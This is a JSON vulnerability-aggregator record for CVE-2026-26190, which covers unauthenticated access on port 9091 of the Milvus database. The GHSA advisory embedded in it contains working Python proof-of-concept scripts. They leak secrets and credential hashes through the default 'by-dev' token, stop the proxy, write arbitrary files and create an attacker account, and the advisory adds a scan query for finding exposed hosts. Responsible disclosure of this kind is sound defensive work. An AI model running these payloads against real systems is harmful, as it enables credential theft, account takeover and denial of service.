{"id":"BIT-milvus-2026-26190","revision":null,"records":[{"revision":"da9c5390ea8047369f26d70d05b629f6","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-26190","aliases":[],"title":"Milvus Allows Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise","description":"Milvus is an open-source vector database built for generative AI applications. Prior to 2.5.27 and 2.6.10, Milvus exposes TCP port 9091 by default, which enables authentication bypasses. The /expr debug endpoint uses a weak, predictable default authentication token derived from etcd.rootPath (default: by-dev), enabling arbitrary expression evaluation. The full REST API (/api/v1/*) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management. This vulnerability is fixed in 2.5.27 and 2.6.10.","state":0,"publishedAt":"2026-02-13T18:44:33.465+00:00","modifiedAt":"2026-02-26T14:44:20.414+00:00","affected":[{"ecosystem":"Vendor product","name":"milvus","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"milvus-io\",\n                    \"product\": \"milvus\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.5.27\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 2.6.0, < 2.6.10\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/milvus-io/milvus/security/advisories/GHSA-7ppg-37fh-vcr6","https://github.com/milvus-io/milvus/commit/92b74dd2e286006a83b4a5f07951027b32e718a9","https://github.com/milvus-io/milvus/releases/tag/v2.5.27","https://github.com/milvus-io/milvus/releases/tag/v2.6.10"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-26190","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-26190","identifiers":["CVE-2026-26190"]},"retained":false,"historicalAffected":[]},{"revision":"a51b9cf4bc094da696a5b4f96f755d2d","observedAt":"2026-11-23T15:32:28.801+00:00","statement":{"source":"euvd","id":"EUVD-2026-5932","aliases":["CVE-2026-26190","GHSA-7ppg-37fh-vcr6"],"title":"Milvus is an open-source vector database built for generative AI applications. Prior to 2.5.27 and 2.6.10, Milvus exposes TCP port 9091 by default, which enables authentication bypasses. The /expr debug endpoint uses a weak, predictable def…","description":"Milvus is an open-source vector database built for generative AI applications. Prior to 2.5.27 and 2.6.10, Milvus exposes TCP port 9091 by default, which enables authentication bypasses. The /expr debug endpoint uses a weak, predictable default authentication token derived from etcd.rootPath (default: by-dev), enabling arbitrary expression evaluation. The full REST API (/api/v1/*) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management. This vulnerability is fixed in 2.5.27 and 2.6.10.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":null}],"references":["https://github.com/milvus-io/milvus/security/advisories/GHSA-7ppg-37fh-vcr6","https://github.com/milvus-io/milvus/commit/92b74dd2e286006a83b4a5f07951027b32e718a9","https://github.com/milvus-io/milvus/releases/tag/v2.5.27","https://github.com/milvus-io/milvus/releases/tag/v2.6.10"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-5932","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Feb 13, 2026, 6:44:33 PM","dateUpdated":"Feb 26, 2026, 2:44:20 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-5932","identifiers":["EUVD-2026-5932","CVE-2026-26190","GHSA-7ppg-37fh-vcr6"]},"retained":false,"historicalAffected":[]},{"revision":"7bd0317945784c08b19c85a932decd04","observedAt":"2026-10-25T06:17:22.45+00:00","statement":{"source":"nvd","id":"CVE-2026-26190","aliases":[],"title":"Milvus is an open-source vector database built for generative AI applications. Prior to 2.5.27 and 2.6.10, Milvus exposes TCP port 9091 by default, which enables authentication bypasses. The /expr debug endpoint uses a weak, predictable def…","description":"Milvus is an open-source vector database built for generative AI applications. Prior to 2.5.27 and 2.6.10, Milvus exposes TCP port 9091 by default, which enables authentication bypasses. The /expr debug endpoint uses a weak, predictable default authentication token derived from etcd.rootPath (default: by-dev), enabling arbitrary expression evaluation. The full REST API (/api/v1/*) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management. This vulnerability is fixed in 2.5.27 and 2.6.10.","state":0,"publishedAt":"2026-02-13T19:17:29.253+00:00","modifiedAt":"2026-06-17T10:25:54.857+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/milvus-io/milvus/commit/92b74dd2e286006a83b4a5f07951027b32e718a9","https://github.com/milvus-io/milvus/releases/tag/v2.5.27","https://github.com/milvus-io/milvus/releases/tag/v2.6.10","https://github.com/milvus-io/milvus/security/advisories/GHSA-7ppg-37fh-vcr6"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-26190","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-306"],"productCriteria":["cpe:2.3:a:milvus:milvus:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-02-13T19:17:29.253","lastModified":"2026-06-17T10:25:54.857"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-26190","identifiers":["CVE-2026-26190"]},"retained":false,"historicalAffected":[]},{"revision":"f040031adf5747e6a71a7036a0deb881","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-7ppg-37fh-vcr6","aliases":["BIT-milvus-2026-26190","CVE-2026-26190","GO-2026-4481"],"title":"Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise","description":"## Summary\n\nMilvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities:\n\n1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation.\n2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management.\n\n## Details\n\n### Vulnerability 1: Weak Default Authentication on `/expr` Endpoint\n\nThe `/expr` endpoint on port 9091 accepts an `auth` parameter that defaults to the `etcd.rootPath` value (`by-dev`). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to:\n\n- **Information/Credential Disclosure**: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via `param.MinioCfg.SecretAccessKey.GetValue()`, `rootcoord.meta.GetCredential(ctx, 'root')`, etc.\n- **Denial of Service**: Invoking `proxy.Stop()` to shut down the proxy service.\n- **Arbitrary File Write (potential RCE)**: Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem.\n\n### Vulnerability 2: Unauthenticated REST API on Metrics Port\n\nBusiness-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via `registerHTTPServer()` in [`internal/distributed/proxy/service.go` (line 170)](https://github.com/milvus-io/milvus/blob/9996e8d1cebff7e7108bcb16d43124236de77438/internal/distributed/proxy/service.go#L170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports.\n\nAn attacker can perform any business operation without credentials, including:\n\n- Creating, listing, and deleting collections\n- Inserting and querying data\n- Creating, listing, and deleting user credentials\n- Modifying user passwords\n\n## Proof of Concept\n\n### PoC 1 — `/expr` Endpoint Exploitation\n\n```python\nimport requests\n\nurl = \"http://<target>:9091/expr\"\n\n# Leak sensitive configuration (e.g., MinIO secret key)\nres = requests.get(url, params={\n    \"auth\": \"by-dev\",\n    \"code\": \"param.MinioCfg.SecretAccessKey.GetValue()\"\n}, timeout=5)\nprint(res.json().get(\"output\", \"\"))\n\n# Retrieve hashed credentials for the root user\nres = requests.get(url, params={\n    \"auth\": \"by-dev\",\n    \"code\": \"rootcoord.meta.GetCredential(ctx, 'root')\"\n}, timeout=5)\nprint(res.json().get(\"output\", \"\"))\n\n# Denial of Service — stop the proxy\nres = requests.get(url, params={\n    \"auth\": \"by-dev\",\n    \"code\": \"proxy.Stop()\"\n}, timeout=5)\n\n# Arbitrary file write (potential RCE)\nfor cmd in [\n    'param.Save(\"proxy.accessLog.localPath\", \"/tmp\")',\n    'param.Save(\"proxy.accessLog.formatters.base.format\", \"whoami\")',\n    'param.Save(\"proxy.accessLog.filename\", \"evil.sh\")',\n    'querycoord.etcdCli.KV.Put(ctx, \"by-dev/config/proxy/accessLog/enable\", \"true\")'\n]:\n    requests.get(url, params={\"auth\": \"by-dev\", \"code\": cmd}, timeout=5)\n```\n\n### PoC 2 — Unauthenticated REST API Access\n\n```python\nimport requests\n\ntarget_url = \"http://<target>:9091\"\n\n# Create a user without any authentication\nres = requests.post(f\"{target_url}/api/v1/credential\", json={\n    \"username\": \"attacker_user\",\n    \"password\": \"MTIzNDU2Nzg5\",\n})\nprint(res.json())\n\n# List all users\nres = requests.get(f\"{target_url}/api/v1/credential/users\")\nprint(res.json())  # {'status': {}, 'usernames': ['root', 'attacker_user']}\n\n# Create and delete collections, insert data — all without authentication\n```\n\n## Internet Exposure\n\nA significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern:\n\n```\nhttp.body=\"404 page not found\" && port=\"9091\"\n```\n\nThis indicates the vulnerability is actively exploitable in real-world production environments.\n\n## Impact\n\nAn unauthenticated remote attacker with network access to port 9091 can:\n\n1. **Exfiltrate secrets and credentials** — MinIO keys, etcd credentials, user password hashes, and all internal configuration values.\n2. **Manipulate all data** — Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls.\n3. **Manage user accounts** — Create administrative users, reset passwords, and escalate privileges.\n4. **Cause denial of service** — Shut down proxy services, drop databases, or corrupt metadata.\n5. **Write arbitrary files** — Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation.\n\n## Remediation\n\n### Recommended Fixes\n\n1. **Remove or disable the `/expr` endpoint** in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default.\n2. **Do not register business API routes on the metrics port.** Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently.\n3. **Bind port 9091 to localhost by default** (`127.0.0.1:9091`) so it is not externally accessible unless explicitly configured.\n4. **Enforce authentication on all API endpoints**, regardless of which port they are served on.\n\n### User Mitigations (until patched)\n\n- Block external access to port 9091 using firewall rules or network policies.\n- If running in Docker/Kubernetes, do not expose port 9091 outside the internal network.\n- Change the `etcd.rootPath` from the default value `by-dev` to a strong, random value (partial mitigation only — does not address the unauthenticated REST API).\n\n## Credit\n\nThis vulnerability was discovered and responsibly reported by **YingLin Xie** (xieyinglin@hust.edu.cn). It was independently reported by [0x1f](https://github.com/0x1f) and zznQ ([ac0d3r](https://github.com/ac0d3r)).","state":0,"publishedAt":"2026-02-11T19:49:44+00:00","modifiedAt":"2026-07-20T05:15:25.1596195+00:00","affected":[{"ecosystem":"Go","name":"github.com/milvus-io/milvus","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.5.27"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/milvus-io/milvus","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.6.0"},{"kind":"fixed","version":"2.6.10"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/milvus-io/milvus/security/advisories/GHSA-7ppg-37fh-vcr6","https://github.com/milvus-io/milvus/commit/92b74dd2e286006a83b4a5f07951027b32e718a9","https://github.com/milvus-io/milvus","https://github.com/milvus-io/milvus/releases/tag/v2.5.27","https://github.com/milvus-io/milvus/releases/tag/v2.6.10"],"sourceUrl":"https://github.com/advisories/GHSA-7ppg-37fh-vcr6","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-7ppg-37fh-vcr6","identifiers":["GHSA-7ppg-37fh-vcr6","BIT-milvus-2026-26190","CVE-2026-26190","GO-2026-4481"]},"retained":false,"historicalAffected":[]},{"revision":"ca2d11e684c54806bc24590b0c946421","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-4481","aliases":["BIT-milvus-2026-26190","CVE-2026-26190","GHSA-7ppg-37fh-vcr6"],"title":"Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise in github.com/milvus-io/milvus","description":"Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise in github.com/milvus-io/milvus.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/milvus-io/milvus before v2.5.27, from v2.6.0 before v2.6.10.","state":0,"publishedAt":"2026-02-17T18:09:06+00:00","modifiedAt":"2026-02-19T20:41:22.616563+00:00","affected":[{"ecosystem":"Go","name":"github.com/milvus-io/milvus","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/milvus-io/milvus/security/advisories/GHSA-7ppg-37fh-vcr6","https://github.com/milvus-io/milvus/releases/tag/v2.5.27","https://github.com/milvus-io/milvus/releases/tag/v2.6.10"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-4481","license":"OSV · upstream source license applies","key":"osv:GO-2026-4481","identifiers":["GO-2026-4481","BIT-milvus-2026-26190","CVE-2026-26190","GHSA-7ppg-37fh-vcr6"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-24T13:25:34.4139689+00:00","complete":true,"records":1792,"lastAttemptAt":"2026-11-24T13:25:34.4139689+00:00","lastSuccessAt":"2026-11-24T13:25:34.5787787+00:00","error":null,"lastVerifiedAt":"2026-11-24T13:25:34.5787789+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-f6e4a7f93ed9acd6fcb1f804a4567f7b9b16730ac126110af8d6d24176317946-2991e6521ef566e0c10209820ac50ab7e651f12955d3aa3999a89d4645ccf91a","complete":true,"records":431180,"lastAttemptAt":"2026-11-24T14:25:34.0694597+00:00","lastSuccessAt":"2026-11-24T14:25:33.9638684+00:00","error":null,"lastVerifiedAt":"2026-11-24T14:25:34.0694597+00:00","snapshotPublishedAt":"2026-11-24T13:29:43+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-018819a81c5942acb7990bc5d0ed9863","complete":false,"records":13935,"lastAttemptAt":"2026-11-24T13:30:04.7751315+00:00","lastSuccessAt":"2026-11-24T13:30:04.77+00:00","error":"253 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-24T13:30:04.77+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13690,"expectedIdentifiers":13982,"failedIdentifiers":253},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-24T13:25:34.4139689+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-24T13:25:34.4139689+00:00","lastSuccessAt":"2026-11-24T13:25:34.5797169+00:00","error":null,"lastVerifiedAt":"2026-11-24T13:25:34.5797169+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-1138f0b063974355836f00dd1744e737","complete":false,"records":13947,"lastAttemptAt":"2026-11-24T13:25:59.9964234+00:00","lastSuccessAt":"2026-11-24T13:25:59.983+00:00","error":null,"lastVerifiedAt":"2026-11-24T13:25:59.983+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13483,"expectedIdentifiers":13982,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c86437892ddabdeaf17409463a17578b1e71dd185d64061100dd57629858f6d6","complete":true,"records":10074,"lastAttemptAt":"2026-11-24T13:25:34.3539464+00:00","lastSuccessAt":"2026-11-23T22:27:19.6557603+00:00","error":null,"lastVerifiedAt":"2026-11-24T13:25:34.3539464+00:00","snapshotPublishedAt":"2026-11-23T21:33:52+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-24T14:25:34.2388851+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-24T14:25:34.2388851+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-3afd4dd07a6bf352a6a53c4438150c464a2527017b95ca94804134ea15f1eba9","complete":true,"records":3220,"lastAttemptAt":"2026-11-24T13:25:34.3768437+00:00","lastSuccessAt":"2026-11-24T10:25:37.8779609+00:00","error":null,"lastVerifiedAt":"2026-11-24T13:25:34.3768437+00:00","snapshotPublishedAt":"2026-11-24T09:33:40+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-b3f815f4b80e6ee7009a469e05600427b49c4c540d96b9bae57af39cb7a4c7df","complete":true,"records":232959,"lastAttemptAt":"2026-11-24T14:25:40.5548724+00:00","lastSuccessAt":"2026-11-24T08:27:06.9384925+00:00","error":null,"lastVerifiedAt":"2026-11-24T13:25:34.2442154+00:00","snapshotPublishedAt":"2026-11-24T07:33:55+00:00","importing":true,"stagedRecords":61000,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}